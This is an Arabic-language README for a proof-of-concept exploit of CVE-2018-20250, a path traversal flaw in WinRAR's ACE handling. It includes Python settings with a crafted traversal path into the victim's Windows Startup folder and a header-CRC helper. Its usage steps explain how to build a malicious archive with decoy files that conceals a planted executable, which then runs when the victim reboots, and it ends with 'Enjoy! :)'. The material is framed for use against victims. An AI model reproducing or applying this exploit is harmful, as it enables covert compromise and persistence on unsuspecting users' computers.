CVE-2018-20250

exp لـ استخراج تنفيذ الأكواد من Winrar

poc بواسطة Ridter

كيفية الاستخدام؟

كل ما عليك هو تثبيت python 3.7، وتجهيز ملف خبيث تريد تشغيله، وضبط القيم التي تريدها، سيبني سكربت الـ exp هذا ملف الأرشيف الخبيث تلقائيًا!

1. اضبط القيم التي تريدها

... ...

# The archive filename you want
rar_filename = "test.rar"
# The evil file you want to run
evil_filename = "calc.exe"
# The decompression path you want, such shown below
target_filename = r"C:\C:C:../AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\hi.exe"
# Other files to be displayed when the victim opens the winrar
# filename_list=[]
filename_list = ["hello.txt", "world.txt"]

... ...

def get_right_hdr_crc(filename):
    # This command may be different, it depends on the your Python3 environment.
    p = os.popen('py -3 acefile.py --headers %s'%(filename))
    res = p.read()
    pattern = re.compile('right_hdr_crc : 0x(.*?) | struct')
    result = pattern.findall(res)
    right_hdr_crc = result[0].upper()
    return hex2raw4(right_hdr_crc)

... ...

2. شغّل الـ exp، وسيقوم الـ exp بإنشاء test.rar تلقائيًا

3. إذا فتح الضحية ملف test.rar، فسيرى الملف hello.txt والملف world.txt، ويمكنك أيضًا إضافة المزيد من الملفات، ملفات أكثر جاذبية.

4. عندما يفك الضحية ضغط الملف، سيظهر في مجلد بدء تشغيل مستخدم الضحية ملف إضافي باسم hi.exe، وهو في الحقيقة calc.exe. وعند إعادة تشغيل الكمبيوتر، سيتم تشغيل hi.exe.

استمتع! :)